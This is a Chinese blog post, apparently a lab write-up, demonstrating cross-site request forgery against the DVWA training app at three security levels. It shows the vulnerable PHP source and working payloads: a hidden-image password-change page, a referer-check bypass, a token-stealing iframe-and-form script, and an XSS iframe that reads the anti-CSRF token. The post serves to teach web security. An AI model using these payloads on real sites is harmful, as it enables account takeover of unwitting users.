参考链接:https://www.cnblogs.com/wangyuyu/p/3388169.html
参考链接:https://blog.csdn.net/yaofeino1/article/details/54667698
什么是CSRF?
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
有什么用?
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。
CSRF如何实现?
个人认为关于CSRF的原理应该重新复习一下HTTP中关于cookie的知识点,学习到至今,感觉cookie无处不在。
还是附上那张图
当我们登录一个网站后,于是浏览器中就种下了cookie,保持登录的状态,那此时session的状态是处于登录的。攻击者诱使被攻击者点击攻击链接,因为处于session状态,所以只要构造的攻击链符合同源策略,就能使被攻击者受到攻击。
dvwa-csrf
现在,我们使用dvwa中的csrf来理解此漏洞。
low
使用get方法不安全,仅为实验
观察源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
用户修改密码的时候,其url为:1
http://192.168.43.40/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
在其保持登录的情况下,我们构造payload为:1
http://192.168.43.40/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
当dvwa为登出的情况下,由于此浏览器已经种下该网站的cookie,所以我们构造payload后,被攻击者点击此payload时,发出此攻击http请求时,会带上之前的cookie值,服务器对其认证,通过,于是此次攻击达到目的,修改了密码。
但是这里有一个问题,就是如何诱导用户去点击该链接,因为这个太明显了,所以我们构造一个html页面1
2
3
4
5<img src="http://192.168.43.40/dvwa/vulnerabilities/csrf/?password_new=cookie&password_conf=cookie&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
链接为:http://192.168.43.40/hack.html
当用户在登录状态下去访问,密码便会被修改。
medium
观察源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
代码中:1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
判断referer中是否包含host.
这是用来防御CSRF的发生,判断是不是本站的操作,还是通过恶意网站登录的。
如果是通过http://192.168.43.41/hack.html 跨站登录的,referer就是:http://192.168.43.41/hack.html
,那么host为192.168.43.40,所以此时起到防御跨站伪装的攻击。
然后我们的解决策略就是把hack.html改成192.168.43.40.html,那么攻击页面就是1
http://192.168.43.41/192.168.43.40.html
high
观察源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
这里的启用了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
这里所谓的token就是令牌,关于token和session的差别下次详讲。
每访问一次改密页面时,服务器就返回一个随机的token,这样子我们使用先前的攻击方式就不可以了,因为被攻击者通过攻击链接登录时请求修改密码的token,和他自身登录状态下产生的token不同了1
heckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
所以我们要想个办法来获取用户在登录状态下的token.
构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://192.168.43.40/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
但是这样有点问题,就是由于同源策略的存在,假使攻击脚本在192.168.43.41上,框架iframe访问的地址是192.168.43.40/dvwa/vulnerabilities/csrf,同源策略不允许A域名下的页面主动去获取B域名下的页面,这里就涉及到跨域的问题。所以为了绕过这种问题,我们要借助xss漏洞。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.43.40中,才有可能完成攻击。
下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。1
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
总结
同源策略还有跨域的思维几乎贯穿了整个攻击过程,以及对于HTTP的理解也是相当重要。